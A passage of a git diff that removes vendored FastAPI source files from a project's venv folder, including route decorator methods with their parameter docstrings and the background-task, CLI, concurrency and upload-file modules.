the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP HEAD operation. - - ## Example - - ```python - from fastapi import FastAPI, Response - - app = FastAPI() - - @app.head("/items/", status_code=204) - def get_items_headers(response: Response): - response.headers["X-Cat-Dog"] = "Alone in the world" - ``` - """ - return self.router.head( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def patch( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP PATCH operation. - - ## Example - - ```python - from fastapi import FastAPI - from pydantic import BaseModel - - class Item(BaseModel): - name: str - description: str | None = None - - app = FastAPI() - - @app.patch("/items/") - def update_item(item: Item): - return {"message": "Item updated in place"} - ``` - """ - return self.router.patch( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def trace( - self, - path: Annotated[ - str, - Doc( - """ - The URL path to be used for this *path operation*. - - For example, in `http://example.com/items`, the path is `/items`. - """ - ), - ], - *, - response_model: Annotated[ - Any, - Doc( - """ - The type to use for the response. - - It could be any valid Pydantic *field* type. So, it doesn't have to - be a Pydantic model, it could be other things, like a `list`, `dict`, - etc. - - It will be used for: - - * Documentation: the generated OpenAPI (and the UI at `/docs`) will - show it as the response (JSON Schema). - * Serialization: you could return an arbitrary object and the - `response_model` would be used to serialize that object into the - corresponding JSON. - * Filtering: the JSON sent to the client will only contain the data - (fields) defined in the `response_model`. If you returned an object - that contains an attribute `password` but the `response_model` does - not include that field, the JSON sent to the client would not have - that `password`. - * Validation: whatever you return will be serialized with the - `response_model`, converting any data as necessary to generate the - corresponding JSON. But if the data in the object returned is not - valid, that would mean a violation of the contract with the client, - so it's an error from the API developer. So, FastAPI will raise an - error and return a 500 error code (Internal Server Error). - - Read more about it in the - [FastAPI docs for Response Model](https://fastapi.tiangolo.com/tutorial/response-model/). - """ - ), - ] = Default(None), - status_code: Annotated[ - int | None, - Doc( - """ - The default status code to be used for the response. - - You could override the status code by returning a response directly. - - Read more about it in the - [FastAPI docs for Response Status Code](https://fastapi.tiangolo.com/tutorial/response-status-code/). - """ - ), - ] = None, - tags: Annotated[ - list[str | Enum] | None, - Doc( - """ - A list of tags to be applied to the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/#tags). - """ - ), - ] = None, - dependencies: Annotated[ - Sequence[Depends] | None, - Doc( - """ - A list of dependencies (using `Depends()`) to be applied to the - *path operation*. - - Read more about it in the - [FastAPI docs for Dependencies in path operation decorators](https://fastapi.tiangolo.com/tutorial/dependencies/dependencies-in-path-operation-decorators/). - """ - ), - ] = None, - summary: Annotated[ - str | None, - Doc( - """ - A summary for the *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - A description for the *path operation*. - - If not provided, it will be extracted automatically from the docstring - of the *path operation function*. - - It can contain Markdown. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Path Operation Configuration](https://fastapi.tiangolo.com/tutorial/path-operation-configuration/). - """ - ), - ] = None, - response_description: Annotated[ - str, - Doc( - """ - The description for the default response. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = "Successful Response", - responses: Annotated[ - dict[int | str, dict[str, Any]] | None, - Doc( - """ - Additional responses that could be returned by this *path operation*. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - deprecated: Annotated[ - bool | None, - Doc( - """ - Mark this *path operation* as deprecated. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - """ - ), - ] = None, - operation_id: Annotated[ - str | None, - Doc( - """ - Custom operation ID to be used by this *path operation*. - - By default, it is generated automatically. - - If you provide a custom operation ID, you need to make sure it is - unique for the whole API. - - You can customize the - operation ID generation with the parameter - `generate_unique_id_function` in the `FastAPI` class. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = None, - response_model_include: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to include only certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_exclude: Annotated[ - IncEx | None, - Doc( - """ - Configuration passed to Pydantic to exclude certain fields in the - response data. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = None, - response_model_by_alias: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response model - should be serialized by alias when an alias is used. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_include-and-response_model_exclude). - """ - ), - ] = True, - response_model_exclude_unset: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that were not set and - have their default values. This is different from - `response_model_exclude_defaults` in that if the fields are set, - they will be included in the response, even if the value is the same - as the default. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_defaults: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data - should have all the fields, including the ones that have the same value - as the default. This is different from `response_model_exclude_unset` - in that if the fields are set but contain the same default values, - they will be excluded from the response. - - When `True`, default values are omitted from the response. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#use-the-response_model_exclude_unset-parameter). - """ - ), - ] = False, - response_model_exclude_none: Annotated[ - bool, - Doc( - """ - Configuration passed to Pydantic to define if the response data should - exclude fields set to `None`. - - This is much simpler (less smart) than `response_model_exclude_unset` - and `response_model_exclude_defaults`. You probably want to use one of - those two instead of this one, as those allow returning `None` values - when it makes sense. - - Read more about it in the - [FastAPI docs for Response Model - Return Type](https://fastapi.tiangolo.com/tutorial/response-model/#response_model_exclude_none). - """ - ), - ] = False, - include_in_schema: Annotated[ - bool, - Doc( - """ - Include this *path operation* in the generated OpenAPI schema. - - This affects the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for Query Parameters and String Validations](https://fastapi.tiangolo.com/tutorial/query-params-str-validations/#exclude-parameters-from-openapi). - """ - ), - ] = True, - response_class: Annotated[ - type[Response], - Doc( - """ - Response class to be used for this *path operation*. - - This will not be used if you return a response directly. - - Read more about it in the - [FastAPI docs for Custom Response - HTML, Stream, File, others](https://fastapi.tiangolo.com/advanced/custom-response/#redirectresponse). - """ - ), - ] = Default(JSONResponse), - name: Annotated[ - str | None, - Doc( - """ - Name for this *path operation*. Only used internally. - """ - ), - ] = None, - callbacks: Annotated[ - list[BaseRoute] | None, - Doc( - """ - List of *path operations* that will be used as OpenAPI callbacks. - - This is only for OpenAPI documentation, the callbacks won't be used - directly. - - It will be added to the generated OpenAPI (e.g. visible at `/docs`). - - Read more about it in the - [FastAPI docs for OpenAPI Callbacks](https://fastapi.tiangolo.com/advanced/openapi-callbacks/). - """ - ), - ] = None, - openapi_extra: Annotated[ - dict[str, Any] | None, - Doc( - """ - Extra metadata to be included in the OpenAPI schema for this *path - operation*. - - Read more about it in the - [FastAPI docs for Path Operation Advanced Configuration](https://fastapi.tiangolo.com/advanced/path-operation-advanced-configuration/#custom-openapi-path-operation-schema). - """ - ), - ] = None, - generate_unique_id_function: Annotated[ - Callable[[routing.APIRoute], str], - Doc( - """ - Customize the function used to generate unique IDs for the *path - operations* shown in the generated OpenAPI. - - This is particularly useful when automatically generating clients or - SDKs for your API. - - Read more about it in the - [FastAPI docs about how to Generate Clients](https://fastapi.tiangolo.com/advanced/generate-clients/#custom-generate-unique-id-function). - """ - ), - ] = Default(generate_unique_id), - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a *path operation* using an HTTP TRACE operation. - - ## Example - - ```python - from fastapi import FastAPI - - app = FastAPI() - - @app.trace("/items/{item_id}") - def trace_item(item_id: str): - return None - ``` - """ - return self.router.trace( - path, - response_model=response_model, - status_code=status_code, - tags=tags, - dependencies=dependencies, - summary=summary, - description=description, - response_description=response_description, - responses=responses, - deprecated=deprecated, - operation_id=operation_id, - response_model_include=response_model_include, - response_model_exclude=response_model_exclude, - response_model_by_alias=response_model_by_alias, - response_model_exclude_unset=response_model_exclude_unset, - response_model_exclude_defaults=response_model_exclude_defaults, - response_model_exclude_none=response_model_exclude_none, - include_in_schema=include_in_schema, - response_class=response_class, - name=name, - callbacks=callbacks, - openapi_extra=openapi_extra, - generate_unique_id_function=generate_unique_id_function, - ) - - def websocket_route( - self, path: str, name: str | None = None - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.router.add_websocket_route(path, func, name=name) - return func - - return decorator - - @deprecated( - """ - on_event is deprecated, use lifespan event handlers instead. - - Read more about it in the - [FastAPI docs for Lifespan Events](https://fastapi.tiangolo.com/advanced/events/). - """ - ) - def on_event( - self, - event_type: Annotated[ - str, - Doc( - """ - The type of event. `startup` or `shutdown`. - """ - ), - ], - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add an event handler for the application. - - `on_event` is deprecated, use `lifespan` event handlers instead. - - Read more about it in the - [FastAPI docs for Lifespan Events](https://fastapi.tiangolo.com/advanced/events/#alternative-events-deprecated). - """ - return self.router.on_event(event_type) # ty: ignore[deprecated] - - def middleware( - self, - middleware_type: Annotated[ - str, - Doc( - """ - The type of middleware. Currently only supports `http`. - """ - ), - ], - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add a middleware to the application. - - Read more about it in the - [FastAPI docs for Middleware](https://fastapi.tiangolo.com/tutorial/middleware/). - - ## Example - - ```python - import time - from typing import Awaitable, Callable - - from fastapi import FastAPI, Request, Response - - app = FastAPI() - - - @app.middleware("http") - async def add_process_time_header( - request: Request, call_next: Callable[[Request], Awaitable[Response]] - ) -> Response: - start_time = time.time() - response = await call_next(request) - process_time = time.time() - start_time - response.headers["X-Process-Time"] = str(process_time) - return response - ``` - """ - - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_middleware(BaseHTTPMiddleware, dispatch=func) - return func - - return decorator - - def exception_handler( - self, - exc_class_or_status_code: Annotated[ - int | type[Exception], - Doc( - """ - The Exception class this would handle, or a status code. - """ - ), - ], - ) -> Callable[[DecoratedCallable], DecoratedCallable]: - """ - Add an exception handler to the app. - - Read more about it in the - [FastAPI docs for Handling Errors](https://fastapi.tiangolo.com/tutorial/handling-errors/). - - ## Example - - ```python - from fastapi import FastAPI, Request - from fastapi.responses import JSONResponse - - - class UnicornException(Exception): - def __init__(self, name: str): - self.name = name - - - app = FastAPI() - - - @app.exception_handler(UnicornException) - async def unicorn_exception_handler(request: Request, exc: UnicornException): - return JSONResponse( - status_code=418, - content={"message": f"Oops! {exc.name} did something. There goes a rainbow..."}, - ) - ``` - """ - - def decorator(func: DecoratedCallable) -> DecoratedCallable: - self.add_exception_handler(exc_class_or_status_code, func) - return func - - return decorator diff --git a/venv/Lib/site-packages/fastapi/background.py b/venv/Lib/site-packages/fastapi/background.py deleted file mode 100644 index 7677058c438105d599233d441e8e7de81225a697..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/background.py +++ /dev/null @@ -1,61 +0,0 @@ -from collections.abc import Callable -from typing import Annotated, Any - -from annotated_doc import Doc -from starlette.background import BackgroundTasks as StarletteBackgroundTasks -from typing_extensions import ParamSpec - -P = ParamSpec("P") - - -class BackgroundTasks(StarletteBackgroundTasks): - """ - A collection of background tasks that will be called after a response has been - sent to the client. - - Read more about it in the - [FastAPI docs for Background Tasks](https://fastapi.tiangolo.com/tutorial/background-tasks/). - - ## Example - - ```python - from fastapi import BackgroundTasks, FastAPI - - app = FastAPI() - - - def write_notification(email: str, message=""): - with open("log.txt", mode="w") as email_file: - content = f"notification for {email}: {message}" - email_file.write(content) - - - @app.post("/send-notification/{email}") - async def send_notification(email: str, background_tasks: BackgroundTasks): - background_tasks.add_task(write_notification, email, message="some notification") - return {"message": "Notification sent in the background"} - ``` - """ - - def add_task( - self, - func: Annotated[ - Callable[P, Any], - Doc( - """ - The function to call after the response is sent. - - It can be a regular `def` function or an `async def` function. - """ - ), - ], - *args: P.args, - **kwargs: P.kwargs, - ) -> None: - """ - Add a function to be called in the background after the response is sent. - - Read more about it in the - [FastAPI docs for Background Tasks](https://fastapi.tiangolo.com/tutorial/background-tasks/). - """ - return super().add_task(func, *args, **kwargs) diff --git a/venv/Lib/site-packages/fastapi/cli.py b/venv/Lib/site-packages/fastapi/cli.py deleted file mode 100644 index 8d3301e9daf73b474162d712f4b87f54ccd97a16..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/cli.py +++ /dev/null @@ -1,13 +0,0 @@ -try: - from fastapi_cli.cli import main as cli_main - -except ImportError: # pragma: no cover - cli_main = None # type: ignore - - -def main() -> None: - if not cli_main: # type: ignore[truthy-function] - message = 'To use the fastapi command, please install "fastapi[standard]":\n\n\tpip install "fastapi[standard]"\n' - print(message) - raise RuntimeError(message) # noqa: B904 - cli_main() diff --git a/venv/Lib/site-packages/fastapi/concurrency.py b/venv/Lib/site-packages/fastapi/concurrency.py deleted file mode 100644 index 76a5a2eb128bc8c22d61d986ab2cdc434178dd24..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/concurrency.py +++ /dev/null @@ -1,41 +0,0 @@ -from collections.abc import AsyncGenerator -from contextlib import AbstractContextManager -from contextlib import asynccontextmanager as asynccontextmanager -from typing import TypeVar - -import anyio.to_thread -from anyio import CapacityLimiter -from starlette.concurrency import iterate_in_threadpool as iterate_in_threadpool # noqa -from starlette.concurrency import run_in_threadpool as run_in_threadpool # noqa -from starlette.concurrency import ( # noqa - run_until_first_complete as run_until_first_complete, -) - -_T = TypeVar("_T") - - -@asynccontextmanager -async def contextmanager_in_threadpool( - cm: AbstractContextManager[_T], -) -> AsyncGenerator[_T, None]: - # blocking __exit__ from running waiting on a free thread - # can create race conditions/deadlocks if the context manager itself - # has its own internal pool (e.g. a database connection pool) - # to avoid this we let __exit__ run without a capacity limit - # since we're creating a new limiter for each call, any non-zero limit - # works (1 is arbitrary) - exit_limiter = CapacityLimiter(1) - try: - yield await run_in_threadpool(cm.__enter__) - except Exception as e: - ok = bool( - await anyio.to_thread.run_sync( - cm.__exit__, type(e), e, e.__traceback__, limiter=exit_limiter - ) - ) - if not ok: - raise e - else: - await anyio.to_thread.run_sync( - cm.__exit__, None, None, None, limiter=exit_limiter - ) diff --git a/venv/Lib/site-packages/fastapi/datastructures.py b/venv/Lib/site-packages/fastapi/datastructures.py deleted file mode 100644 index 1da784cf0927ed55ec6abeb051d89a6ce1e90630..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/datastructures.py +++ /dev/null @@ -1,186 +0,0 @@ -from collections.abc import Callable, Mapping -from typing import ( - Annotated, - Any, - BinaryIO, - TypeVar, - cast, -) - -from annotated_doc import Doc -from pydantic import GetJsonSchemaHandler -from starlette.datastructures import URL as URL # noqa: F401 -from starlette.datastructures import Address as Address # noqa: F401 -from starlette.datastructures import FormData as FormData # noqa: F401 -from starlette.datastructures import Headers as Headers # noqa: F401 -from starlette.datastructures import QueryParams as QueryParams # noqa: F401 -from starlette.datastructures import State as State # noqa: F401 -from starlette.datastructures import UploadFile as StarletteUploadFile - - -class UploadFile(StarletteUploadFile): - """ - A file uploaded in a request. - - Define it as a *path operation function* (or dependency) parameter. - - If you are using a regular `def` function, you can use the `upload_file.file` - attribute to access the raw standard Python file (blocking, not async), useful and - needed for non-async code. - - Read more about it in the - [FastAPI docs for Request Files](https://fastapi.tiangolo.com/tutorial/request-files/). - - ## Example - - ```python - from typing import Annotated - - from fastapi import FastAPI, File, UploadFile - - app = FastAPI() - - - @app.post("/files/") - async def create_file(file: Annotated[bytes, File()]): - return {"file_size": len(file)} - - - @app.post("/uploadfile/") - async def create_upload_file(file: UploadFile): - return {"filename": file.filename} - ``` - """ - - file: Annotated[ - BinaryIO, - Doc("The standard Python file object (non-async)."), - ] - filename: Annotated[str | None, Doc("The original file name.")] - size: Annotated[int | None, Doc("The size of the file in bytes.")] - headers: Annotated[Headers, Doc("The headers of the request.")] - content_type: Annotated[ - str | None, Doc("The content type of the request, from the headers.") - ] - - async def write( - self, - data: Annotated[ - bytes, - Doc( - """ - The bytes to write to the file. - """ - ), - ], - ) -> None: - """ - Write some bytes to the file. - - You normally wouldn't use this from a file you read in a request. - - To be awaitable, compatible with async, this is run in threadpool. - """ - return await super().write(data) - - async def read( - self, - size: Annotated[ - int, - Doc( - """ - The number of bytes to read from the file. - """ - ), - ] = -1, - ) -> bytes: - """ - Read some bytes from the file. - - To be awaitable, compatible with async, this is run in threadpool. - """ - return await super().read(size) - - async def seek( - self, - offset: Annotated[ - int, - Doc( - """ - The position in bytes to seek to in the file. - """ - ), - ], - ) -> None: - """ - Move to a position in the file. - - Any next read or write will be done from that position. - - To be awaitable, compatible with async, this is run in threadpool. - """ - return await super().seek(offset) - - async def close(self) -> None: - """ - Close the file. - - To be awaitable, compatible with async, this is run in threadpool. - """ - return await super().close() - - @classmethod - def _validate(cls, __input_value: Any, _: Any) -> "UploadFile": - if not isinstance(__input_value, StarletteUploadFile): - raise ValueError(f"Expected UploadFile, received: {type(__input_value)}") - return cast(UploadFile, __input_value) - - @classmethod - def __get_pydantic_json_schema__( - cls, core_schema: Mapping[str, Any], handler: GetJsonSchemaHandler - ) -> dict[str, Any]: - return {"type": "string", "contentMediaType": "application/octet-stream"} - - @classmethod - def __get_pydantic_core_schema__( - cls, source: type[Any], handler: Callable[[Any], Mapping[str, Any]] - ) -> Mapping[str, Any]: - from ._compat.v2 import with_info_plain_validator_function - - return with_info_plain_validator_function(cls._validate) - - -class DefaultPlaceholder: - """ - You shouldn't use this class directly. - - It's used internally to recognize when a default value has been overwritten, even - if the overridden default value was truthy. - """ - - def __init__(self, value: Any): - self.value = value - - def 